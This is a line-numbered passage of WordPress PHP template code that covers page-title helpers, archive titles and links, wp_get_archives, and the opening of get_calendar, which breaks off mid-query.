1049 $title = implode( " $sep ", array_filter( $title ) );
1050 $title = wptexturize( $title );
1051 $title = convert_chars( $title );
1052 $title = esc_html( $title );
1053 $title = capital_P_dangit( $title );
1054
1055 return $title;
1056}
1057
1058/**
1059 * Displays title tag with content.
1060 *
1061 * @ignore
1062 * @since 4.1.0
1063 * @since 4.4.0 Improved title output replaced `wp_title()`.
1064 * @access private
1065 */
1066function _wp_render_title_tag() {
1067 if ( ! current_theme_supports( 'title-tag' ) ) {
1068 return;
1069 }
1070
1071 echo '<title>' . wp_get_document_title() . '</title>' . "\n";
1072}
1073
1074/**
1075 * Display or retrieve page title for all areas of blog.
1076 *
1077 * By default, the page title will display the separator before the page title,
1078 * so that the blog title will be before the page title. This is not good for
1079 * title display, since the blog title shows up on most tabs and not what is
1080 * important, which is the page that the user is looking at.
1081 *
1082 * There are also SEO benefits to having the blog title after or to the 'right'
1083 * of the page title. However, it is mostly common sense to have the blog title
1084 * to the right with most browsers supporting tabs. You can achieve this by
1085 * using the seplocation parameter and setting the value to 'right'. This change
1086 * was introduced around 2.5.0, in case backward compatibility of themes is
1087 * important.
1088 *
1089 * @since 1.0.0
1090 *
1091 * @global WP_Locale $wp_locale
1092 *
1093 * @param string $sep Optional, default is '»'. How to separate the various items
1094 * within the page title.
1095 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1096 * @param string $seplocation Optional. Direction to display title, 'right'.
1097 * @return string|null String on retrieve, null when displaying.
1098 */
1099function wp_title( $sep = '»', $display = true, $seplocation = '' ) {
1100 global $wp_locale;
1101
1102 $m = get_query_var( 'm' );
1103 $year = get_query_var( 'year' );
1104 $monthnum = get_query_var( 'monthnum' );
1105 $day = get_query_var( 'day' );
1106 $search = get_query_var( 's' );
1107 $title = '';
1108
1109 $t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary
1110
1111 // If there is a post
1112 if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
1113 $title = single_post_title( '', false );
1114 }
1115
1116 // If there's a post type archive
1117 if ( is_post_type_archive() ) {
1118 $post_type = get_query_var( 'post_type' );
1119 if ( is_array( $post_type ) ) {
1120 $post_type = reset( $post_type );
1121 }
1122 $post_type_object = get_post_type_object( $post_type );
1123 if ( ! $post_type_object->has_archive ) {
1124 $title = post_type_archive_title( '', false );
1125 }
1126 }
1127
1128 // If there's a category or tag
1129 if ( is_category() || is_tag() ) {
1130 $title = single_term_title( '', false );
1131 }
1132
1133 // If there's a taxonomy
1134 if ( is_tax() ) {
1135 $term = get_queried_object();
1136 if ( $term ) {
1137 $tax = get_taxonomy( $term->taxonomy );
1138 $title = single_term_title( $tax->labels->name . $t_sep, false );
1139 }
1140 }
1141
1142 // If there's an author
1143 if ( is_author() && ! is_post_type_archive() ) {
1144 $author = get_queried_object();
1145 if ( $author ) {
1146 $title = $author->display_name;
1147 }
1148 }
1149
1150 // Post type archives with has_archive should override terms.
1151 if ( is_post_type_archive() && $post_type_object->has_archive ) {
1152 $title = post_type_archive_title( '', false );
1153 }
1154
1155 // If there's a month
1156 if ( is_archive() && ! empty( $m ) ) {
1157 $my_year = substr( $m, 0, 4 );
1158 $my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
1159 $my_day = intval( substr( $m, 6, 2 ) );
1160 $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
1161 }
1162
1163 // If there's a year
1164 if ( is_archive() && ! empty( $year ) ) {
1165 $title = $year;
1166 if ( ! empty( $monthnum ) ) {
1167 $title .= $t_sep . $wp_locale->get_month( $monthnum );
1168 }
1169 if ( ! empty( $day ) ) {
1170 $title .= $t_sep . zeroise( $day, 2 );
1171 }
1172 }
1173
1174 // If it's a search
1175 if ( is_search() ) {
1176 /* translators: 1: separator, 2: search phrase */
1177 $title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
1178 }
1179
1180 // If it's a 404 page
1181 if ( is_404() ) {
1182 $title = __( 'Page not found' );
1183 }
1184
1185 $prefix = '';
1186 if ( ! empty( $title ) ) {
1187 $prefix = " $sep ";
1188 }
1189
1190 /**
1191 * Filters the parts of the page title.
1192 *
1193 * @since 4.0.0
1194 *
1195 * @param array $title_array Parts of the page title.
1196 */
1197 $title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
1198
1199 // Determines position of the separator and direction of the breadcrumb
1200 if ( 'right' == $seplocation ) { // sep on right, so reverse the order
1201 $title_array = array_reverse( $title_array );
1202 $title = implode( " $sep ", $title_array ) . $prefix;
1203 } else {
1204 $title = $prefix . implode( " $sep ", $title_array );
1205 }
1206
1207 /**
1208 * Filters the text of the page title.
1209 *
1210 * @since 2.0.0
1211 *
1212 * @param string $title Page title.
1213 * @param string $sep Title separator.
1214 * @param string $seplocation Location of the separator (left or right).
1215 */
1216 $title = apply_filters( 'wp_title', $title, $sep, $seplocation );
1217
1218 // Send it out
1219 if ( $display ) {
1220 echo $title;
1221 } else {
1222 return $title;
1223 }
1224}
1225
1226/**
1227 * Display or retrieve page title for post.
1228 *
1229 * This is optimized for single.php template file for displaying the post title.
1230 *
1231 * It does not support placing the separator after the title, but by leaving the
1232 * prefix parameter empty, you can set the title separator manually. The prefix
1233 * does not automatically place a space between the prefix, so if there should
1234 * be a space, the parameter value will need to have it at the end.
1235 *
1236 * @since 0.71
1237 *
1238 * @param string $prefix Optional. What to display before the title.
1239 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1240 * @return string|void Title when retrieving.
1241 */
1242function single_post_title( $prefix = '', $display = true ) {
1243 $_post = get_queried_object();
1244
1245 if ( !isset($_post->post_title) )
1246 return;
1247
1248 /**
1249 * Filters the page title for a single post.
1250 *
1251 * @since 0.71
1252 *
1253 * @param string $_post_title The single post page title.
1254 * @param object $_post The current queried object as returned by get_queried_object().
1255 */
1256 $title = apply_filters( 'single_post_title', $_post->post_title, $_post );
1257 if ( $display )
1258 echo $prefix . $title;
1259 else
1260 return $prefix . $title;
1261}
1262
1263/**
1264 * Display or retrieve title for a post type archive.
1265 *
1266 * This is optimized for archive.php and archive-{$post_type}.php template files
1267 * for displaying the title of the post type.
1268 *
1269 * @since 3.1.0
1270 *
1271 * @param string $prefix Optional. What to display before the title.
1272 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1273 * @return string|void Title when retrieving, null when displaying or failure.
1274 */
1275function post_type_archive_title( $prefix = '', $display = true ) {
1276 if ( ! is_post_type_archive() )
1277 return;
1278
1279 $post_type = get_query_var( 'post_type' );
1280 if ( is_array( $post_type ) )
1281 $post_type = reset( $post_type );
1282
1283 $post_type_obj = get_post_type_object( $post_type );
1284
1285 /**
1286 * Filters the post type archive title.
1287 *
1288 * @since 3.1.0
1289 *
1290 * @param string $post_type_name Post type 'name' label.
1291 * @param string $post_type Post type.
1292 */
1293 $title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
1294
1295 if ( $display )
1296 echo $prefix . $title;
1297 else
1298 return $prefix . $title;
1299}
1300
1301/**
1302 * Display or retrieve page title for category archive.
1303 *
1304 * Useful for category template files for displaying the category page title.
1305 * The prefix does not automatically place a space between the prefix, so if
1306 * there should be a space, the parameter value will need to have it at the end.
1307 *
1308 * @since 0.71
1309 *
1310 * @param string $prefix Optional. What to display before the title.
1311 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1312 * @return string|void Title when retrieving.
1313 */
1314function single_cat_title( $prefix = '', $display = true ) {
1315 return single_term_title( $prefix, $display );
1316}
1317
1318/**
1319 * Display or retrieve page title for tag post archive.
1320 *
1321 * Useful for tag template files for displaying the tag page title. The prefix
1322 * does not automatically place a space between the prefix, so if there should
1323 * be a space, the parameter value will need to have it at the end.
1324 *
1325 * @since 2.3.0
1326 *
1327 * @param string $prefix Optional. What to display before the title.
1328 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1329 * @return string|void Title when retrieving.
1330 */
1331function single_tag_title( $prefix = '', $display = true ) {
1332 return single_term_title( $prefix, $display );
1333}
1334
1335/**
1336 * Display or retrieve page title for taxonomy term archive.
1337 *
1338 * Useful for taxonomy term template files for displaying the taxonomy term page title.
1339 * The prefix does not automatically place a space between the prefix, so if there should
1340 * be a space, the parameter value will need to have it at the end.
1341 *
1342 * @since 3.1.0
1343 *
1344 * @param string $prefix Optional. What to display before the title.
1345 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1346 * @return string|void Title when retrieving.
1347 */
1348function single_term_title( $prefix = '', $display = true ) {
1349 $term = get_queried_object();
1350
1351 if ( !$term )
1352 return;
1353
1354 if ( is_category() ) {
1355 /**
1356 * Filters the category archive page title.
1357 *
1358 * @since 2.0.10
1359 *
1360 * @param string $term_name Category name for archive being displayed.
1361 */
1362 $term_name = apply_filters( 'single_cat_title', $term->name );
1363 } elseif ( is_tag() ) {
1364 /**
1365 * Filters the tag archive page title.
1366 *
1367 * @since 2.3.0
1368 *
1369 * @param string $term_name Tag name for archive being displayed.
1370 */
1371 $term_name = apply_filters( 'single_tag_title', $term->name );
1372 } elseif ( is_tax() ) {
1373 /**
1374 * Filters the custom taxonomy archive page title.
1375 *
1376 * @since 3.1.0
1377 *
1378 * @param string $term_name Term name for archive being displayed.
1379 */
1380 $term_name = apply_filters( 'single_term_title', $term->name );
1381 } else {
1382 return;
1383 }
1384
1385 if ( empty( $term_name ) )
1386 return;
1387
1388 if ( $display )
1389 echo $prefix . $term_name;
1390 else
1391 return $prefix . $term_name;
1392}
1393
1394/**
1395 * Display or retrieve page title for post archive based on date.
1396 *
1397 * Useful for when the template only needs to display the month and year,
1398 * if either are available. The prefix does not automatically place a space
1399 * between the prefix, so if there should be a space, the parameter value
1400 * will need to have it at the end.
1401 *
1402 * @since 0.71
1403 *
1404 * @global WP_Locale $wp_locale
1405 *
1406 * @param string $prefix Optional. What to display before the title.
1407 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1408 * @return string|void Title when retrieving.
1409 */
1410function single_month_title($prefix = '', $display = true ) {
1411 global $wp_locale;
1412
1413 $m = get_query_var('m');
1414 $year = get_query_var('year');
1415 $monthnum = get_query_var('monthnum');
1416
1417 if ( !empty($monthnum) && !empty($year) ) {
1418 $my_year = $year;
1419 $my_month = $wp_locale->get_month($monthnum);
1420 } elseif ( !empty($m) ) {
1421 $my_year = substr($m, 0, 4);
1422 $my_month = $wp_locale->get_month(substr($m, 4, 2));
1423 }
1424
1425 if ( empty($my_month) )
1426 return false;
1427
1428 $result = $prefix . $my_month . $prefix . $my_year;
1429
1430 if ( !$display )
1431 return $result;
1432 echo $result;
1433}
1434
1435/**
1436 * Display the archive title based on the queried object.
1437 *
1438 * @since 4.1.0
1439 *
1440 * @see get_the_archive_title()
1441 *
1442 * @param string $before Optional. Content to prepend to the title. Default empty.
1443 * @param string $after Optional. Content to append to the title. Default empty.
1444 */
1445function the_archive_title( $before = '', $after = '' ) {
1446 $title = get_the_archive_title();
1447
1448 if ( ! empty( $title ) ) {
1449 echo $before . $title . $after;
1450 }
1451}
1452
1453/**
1454 * Retrieve the archive title based on the queried object.
1455 *
1456 * @since 4.1.0
1457 *
1458 * @return string Archive title.
1459 */
1460function get_the_archive_title() {
1461 if ( is_category() ) {
1462 $title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
1463 } elseif ( is_tag() ) {
1464 $title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
1465 } elseif ( is_author() ) {
1466 $title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
1467 } elseif ( is_year() ) {
1468 $title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
1469 } elseif ( is_month() ) {
1470 $title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
1471 } elseif ( is_day() ) {
1472 $title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
1473 } elseif ( is_tax( 'post_format' ) ) {
1474 if ( is_tax( 'post_format', 'post-format-aside' ) ) {
1475 $title = _x( 'Asides', 'post format archive title' );
1476 } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
1477 $title = _x( 'Galleries', 'post format archive title' );
1478 } elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
1479 $title = _x( 'Images', 'post format archive title' );
1480 } elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
1481 $title = _x( 'Videos', 'post format archive title' );
1482 } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
1483 $title = _x( 'Quotes', 'post format archive title' );
1484 } elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
1485 $title = _x( 'Links', 'post format archive title' );
1486 } elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
1487 $title = _x( 'Statuses', 'post format archive title' );
1488 } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
1489 $title = _x( 'Audio', 'post format archive title' );
1490 } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
1491 $title = _x( 'Chats', 'post format archive title' );
1492 }
1493 } elseif ( is_post_type_archive() ) {
1494 $title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
1495 } elseif ( is_tax() ) {
1496 $tax = get_taxonomy( get_queried_object()->taxonomy );
1497 /* translators: 1: Taxonomy singular name, 2: Current taxonomy term */
1498 $title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
1499 } else {
1500 $title = __( 'Archives' );
1501 }
1502
1503 /**
1504 * Filters the archive title.
1505 *
1506 * @since 4.1.0
1507 *
1508 * @param string $title Archive title to be displayed.
1509 */
1510 return apply_filters( 'get_the_archive_title', $title );
1511}
1512
1513/**
1514 * Display category, tag, or term description.
1515 *
1516 * @since 4.1.0
1517 *
1518 * @see get_the_archive_description()
1519 *
1520 * @param string $before Optional. Content to prepend to the description. Default empty.
1521 * @param string $after Optional. Content to append to the description. Default empty.
1522 */
1523function the_archive_description( $before = '', $after = '' ) {
1524 $description = get_the_archive_description();
1525 if ( $description ) {
1526 echo $before . $description . $after;
1527 }
1528}
1529
1530/**
1531 * Retrieve category, tag, or term description.
1532 *
1533 * @since 4.1.0
1534 *
1535 * @return string Archive description.
1536 */
1537function get_the_archive_description() {
1538 /**
1539 * Filters the archive description.
1540 *
1541 * @since 4.1.0
1542 *
1543 * @see term_description()
1544 *
1545 * @param string $description Archive description to be displayed.
1546 */
1547 return apply_filters( 'get_the_archive_description', term_description() );
1548}
1549
1550/**
1551 * Retrieve archive link content based on predefined or custom code.
1552 *
1553 * The format can be one of four styles. The 'link' for head element, 'option'
1554 * for use in the select element, 'html' for use in list (either ol or ul HTML
1555 * elements). Custom content is also supported using the before and after
1556 * parameters.
1557 *
1558 * The 'link' format uses the `<link>` HTML element with the **archives**
1559 * relationship. The before and after parameters are not used. The text
1560 * parameter is used to describe the link.
1561 *
1562 * The 'option' format uses the option HTML element for use in select element.
1563 * The value is the url parameter and the before and after parameters are used
1564 * between the text description.
1565 *
1566 * The 'html' format, which is the default, uses the li HTML element for use in
1567 * the list HTML elements. The before parameter is before the link and the after
1568 * parameter is after the closing link.
1569 *
1570 * The custom format uses the before parameter before the link ('a' HTML
1571 * element) and the after parameter after the closing link tag. If the above
1572 * three values for the format are not used, then custom format is assumed.
1573 *
1574 * @since 1.0.0
1575 *
1576 * @param string $url URL to archive.
1577 * @param string $text Archive text description.
1578 * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
1579 * @param string $before Optional. Content to prepend to the description. Default empty.
1580 * @param string $after Optional. Content to append to the description. Default empty.
1581 * @return string HTML link content for archive.
1582 */
1583function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
1584 $text = wptexturize($text);
1585 $url = esc_url($url);
1586
1587 if ('link' == $format)
1588 $link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
1589 elseif ('option' == $format)
1590 $link_html = "\t<option value='$url'>$before $text $after</option>\n";
1591 elseif ('html' == $format)
1592 $link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
1593 else // custom
1594 $link_html = "\t$before<a href='$url'>$text</a>$after\n";
1595
1596 /**
1597 * Filters the archive link content.
1598 *
1599 * @since 2.6.0
1600 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.
1601 *
1602 * @param string $link_html The archive HTML link content.
1603 * @param string $url URL to archive.
1604 * @param string $text Archive text description.
1605 * @param string $format Link format. Can be 'link', 'option', 'html', or custom.
1606 * @param string $before Content to prepend to the description.
1607 * @param string $after Content to append to the description.
1608 */
1609 return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after );
1610}
1611
1612/**
1613 * Display archive links based on type and format.
1614 *
1615 * @since 1.2.0
1616 * @since 4.4.0 $post_type arg was added.
1617 *
1618 * @see get_archives_link()
1619 *
1620 * @global wpdb $wpdb
1621 * @global WP_Locale $wp_locale
1622 *
1623 * @param string|array $args {
1624 * Default archive links arguments. Optional.
1625 *
1626 * @type string $type Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
1627 * 'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
1628 * display the same archive link list as well as post titles instead
1629 * of displaying dates. The difference between the two is that 'alpha'
1630 * will order by post title and 'postbypost' will order by post date.
1631 * Default 'monthly'.
1632 * @type string|int $limit Number of links to limit the query to. Default empty (no limit).
1633 * @type string $format Format each link should take using the $before and $after args.
1634 * Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
1635 * (`<li>` tag), or a custom format, which generates a link anchor
1636 * with $before preceding and $after succeeding. Default 'html'.
1637 * @type string $before Markup to prepend to the beginning of each link. Default empty.
1638 * @type string $after Markup to append to the end of each link. Default empty.
1639 * @type bool $show_post_count Whether to display the post count alongside the link. Default false.
1640 * @type bool|int $echo Whether to echo or return the links list. Default 1|true to echo.
1641 * @type string $order Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
1642 * Default 'DESC'.
1643 * @type string $post_type Post type. Default 'post'.
1644 * }
1645 * @return string|void String when retrieving.
1646 */
1647function wp_get_archives( $args = '' ) {
1648 global $wpdb, $wp_locale;
1649
1650 $defaults = array(
1651 'type' => 'monthly', 'limit' => '',
1652 'format' => 'html', 'before' => '',
1653 'after' => '', 'show_post_count' => false,
1654 'echo' => 1, 'order' => 'DESC',
1655 'post_type' => 'post'
1656 );
1657
1658 $r = wp_parse_args( $args, $defaults );
1659
1660 $post_type_object = get_post_type_object( $r['post_type'] );
1661 if ( ! is_post_type_viewable( $post_type_object ) ) {
1662 return;
1663 }
1664 $r['post_type'] = $post_type_object->name;
1665
1666 if ( '' == $r['type'] ) {
1667 $r['type'] = 'monthly';
1668 }
1669
1670 if ( ! empty( $r['limit'] ) ) {
1671 $r['limit'] = absint( $r['limit'] );
1672 $r['limit'] = ' LIMIT ' . $r['limit'];
1673 }
1674
1675 $order = strtoupper( $r['order'] );
1676 if ( $order !== 'ASC' ) {
1677 $order = 'DESC';
1678 }
1679
1680 // this is what will separate dates on weekly archive links
1681 $archive_week_separator = '–';
1682
1683 $sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $r['post_type'] );
1684
1685 /**
1686 * Filters the SQL WHERE clause for retrieving archives.
1687 *
1688 * @since 2.2.0
1689 *
1690 * @param string $sql_where Portion of SQL query containing the WHERE clause.
1691 * @param array $r An array of default arguments.
1692 */
1693 $where = apply_filters( 'getarchives_where', $sql_where, $r );
1694
1695 /**
1696 * Filters the SQL JOIN clause for retrieving archives.
1697 *
1698 * @since 2.2.0
1699 *
1700 * @param string $sql_join Portion of SQL query containing JOIN clause.
1701 * @param array $r An array of default arguments.
1702 */
1703 $join = apply_filters( 'getarchives_join', '', $r );
1704
1705 $output = '';
1706
1707 $last_changed = wp_cache_get( 'last_changed', 'posts' );
1708 if ( ! $last_changed ) {
1709 $last_changed = microtime();
1710 wp_cache_set( 'last_changed', $last_changed, 'posts' );
1711 }
1712
1713 $limit = $r['limit'];
1714
1715 if ( 'monthly' == $r['type'] ) {
1716 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
1717 $key = md5( $query );
1718 $key = "wp_get_archives:$key:$last_changed";
1719 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1720 $results = $wpdb->get_results( $query );
1721 wp_cache_set( $key, $results, 'posts' );
1722 }
1723 if ( $results ) {
1724 $after = $r['after'];
1725 foreach ( (array) $results as $result ) {
1726 $url = get_month_link( $result->year, $result->month );
1727 if ( 'post' !== $r['post_type'] ) {
1728 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1729 }
1730 /* translators: 1: month name, 2: 4-digit year */
1731 $text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
1732 if ( $r['show_post_count'] ) {
1733 $r['after'] = ' (' . $result->posts . ')' . $after;
1734 }
1735 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1736 }
1737 }
1738 } elseif ( 'yearly' == $r['type'] ) {
1739 $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
1740 $key = md5( $query );
1741 $key = "wp_get_archives:$key:$last_changed";
1742 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1743 $results = $wpdb->get_results( $query );
1744 wp_cache_set( $key, $results, 'posts' );
1745 }
1746 if ( $results ) {
1747 $after = $r['after'];
1748 foreach ( (array) $results as $result) {
1749 $url = get_year_link( $result->year );
1750 if ( 'post' !== $r['post_type'] ) {
1751 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1752 }
1753 $text = sprintf( '%d', $result->year );
1754 if ( $r['show_post_count'] ) {
1755 $r['after'] = ' (' . $result->posts . ')' . $after;
1756 }
1757 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1758 }
1759 }
1760 } elseif ( 'daily' == $r['type'] ) {
1761 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
1762 $key = md5( $query );
1763 $key = "wp_get_archives:$key:$last_changed";
1764 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1765 $results = $wpdb->get_results( $query );
1766 wp_cache_set( $key, $results, 'posts' );
1767 }
1768 if ( $results ) {
1769 $after = $r['after'];
1770 foreach ( (array) $results as $result ) {
1771 $url = get_day_link( $result->year, $result->month, $result->dayofmonth );
1772 if ( 'post' !== $r['post_type'] ) {
1773 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1774 }
1775 $date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
1776 $text = mysql2date( get_option( 'date_format' ), $date );
1777 if ( $r['show_post_count'] ) {
1778 $r['after'] = ' (' . $result->posts . ')' . $after;
1779 }
1780 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1781 }
1782 }
1783 } elseif ( 'weekly' == $r['type'] ) {
1784 $week = _wp_mysql_week( '`post_date`' );
1785 $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
1786 $key = md5( $query );
1787 $key = "wp_get_archives:$key:$last_changed";
1788 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1789 $results = $wpdb->get_results( $query );
1790 wp_cache_set( $key, $results, 'posts' );
1791 }
1792 $arc_w_last = '';
1793 if ( $results ) {
1794 $after = $r['after'];
1795 foreach ( (array) $results as $result ) {
1796 if ( $result->week != $arc_w_last ) {
1797 $arc_year = $result->yr;
1798 $arc_w_last = $result->week;
1799 $arc_week = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
1800 $arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );
1801 $arc_week_end = date_i18n( get_option( 'date_format' ), $arc_week['end'] );
1802 $url = add_query_arg( array( 'm' => $arc_year, 'w' => $result->week, ), home_url( '/' ) );
1803 if ( 'post' !== $r['post_type'] ) {
1804 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1805 }
1806 $text = $arc_week_start . $archive_week_separator . $arc_week_end;
1807 if ( $r['show_post_count'] ) {
1808 $r['after'] = ' (' . $result->posts . ')' . $after;
1809 }
1810 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1811 }
1812 }
1813 }
1814 } elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
1815 $orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
1816 $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
1817 $key = md5( $query );
1818 $key = "wp_get_archives:$key:$last_changed";
1819 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1820 $results = $wpdb->get_results( $query );
1821 wp_cache_set( $key, $results, 'posts' );
1822 }
1823 if ( $results ) {
1824 foreach ( (array) $results as $result ) {
1825 if ( $result->post_date != '0000-00-00 00:00:00' ) {
1826 $url = get_permalink( $result );
1827 if ( $result->post_title ) {
1828 /** This filter is documented in wp-includes/post-template.php */
1829 $text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
1830 } else {
1831 $text = $result->ID;
1832 }
1833 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1834 }
1835 }
1836 }
1837 }
1838 if ( $r['echo'] ) {
1839 echo $output;
1840 } else {
1841 return $output;
1842 }
1843}
1844
1845/**
1846 * Get number of days since the start of the week.
1847 *
1848 * @since 1.5.0
1849 *
1850 * @param int $num Number of day.
1851 * @return int Days since the start of the week.
1852 */
1853function calendar_week_mod($num) {
1854 $base = 7;
1855 return ($num - $base*floor($num/$base));
1856}
1857
1858/**
1859 * Display calendar with days that have posts as links.
1860 *
1861 * The calendar is cached, which will be retrieved, if it exists. If there are
1862 * no posts for the month, then it will not be displayed.
1863 *
1864 * @since 1.0.0
1865 *
1866 * @global wpdb $wpdb
1867 * @global int $m
1868 * @global int $monthnum
1869 * @global int $year
1870 * @global WP_Locale $wp_locale
1871 * @global array $posts
1872 *
1873 * @param bool $initial Optional, default is true. Use initial calendar names.
1874 * @param bool $echo Optional, default is true. Set to false for return.
1875 * @return string|void String when retrieving.
1876 */
1877function get_calendar( $initial = true, $echo = true ) {
1878 global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
1879
1880 $key = md5( $m . $monthnum . $year );
1881 $cache = wp_cache_get( 'get_calendar', 'calendar' );
1882
1883 if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
1884 /** This filter is documented in wp-includes/general-template.php */
1885 $output = apply_filters( 'get_calendar', $cache[ $key ] );
1886
1887 if ( $echo ) {
1888 echo $output;
1889 return;
1890 }
1891
1892 return $output;
1893 }
1894
1895 if ( ! is_array( $cache ) ) {
1896 $cache = array();
1897 }
1898
1899 // Quick check. If we have no posts at all, abort!
1900 if ( ! $posts ) {
1901 $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
1902 if ( ! $gotsome ) {
1903 $cache[ $key ] = '';
1904 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1905 return;
1906 }
1907 }
1908
1909 if ( isset( $_GET['w'] ) ) {
1910 $w = (int) $_GET['w'];
1911 }
1912 // week_begins = 0 stands for Sunday
1913 $week_begins = (int) get_option( 'start_of_week' );
1914 $ts = current_time( 'timestamp' );
1915
1916 // Let's figure out when we are
1917 if ( ! empty( $monthnum ) && ! empty( $year ) ) {
1918 $thismonth = zeroise( intval( $monthnum ), 2 );
1919 $thisyear = (int) $year;
1920 } elseif ( ! empty( $w ) ) {
1921 // We need to get the month from MySQL
1922 $thisyear = (int) substr( $m, 0, 4 );
1923 //it seems MySQL's weeks disagree with PHP's
1924 $d = ( ( $w - 1 ) * 7 ) + 6;
1925 $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
1926 } elseif ( ! empty( $m ) ) {
1927 $thisyear = (int) substr( $m, 0, 4 );
1928 if ( strlen( $m ) < 6 ) {
1929 $thismonth = '01';
1930 } else {
1931 $thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
1932 }
1933 } else {
1934 $thisyear = gmdate( 'Y', $ts );
1935 $thismonth = gmdate( 'm', $ts );
1936 }
1937
1938 $unixmonth = mktime( 0, 0 , 0, $thismonth, 1, $thisyear );
1939 $last_day = date( 't', $unixmonth );
1940
1941 // Get the next and previous month and year with at least one post
1942 $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1943 FROM $wpdb->posts
1944 WHERE post_date < '$thisyear-$thismonth-01'
1945 AND post_type = 'post' AND post_status = 'publish'
1946 ORDER BY post_date DESC
1947 LIMIT 1");
1948 $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1949 FROM $wpdb->posts
1950 WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
1951 AND post_type = 'post' AND post_status = 'publish'
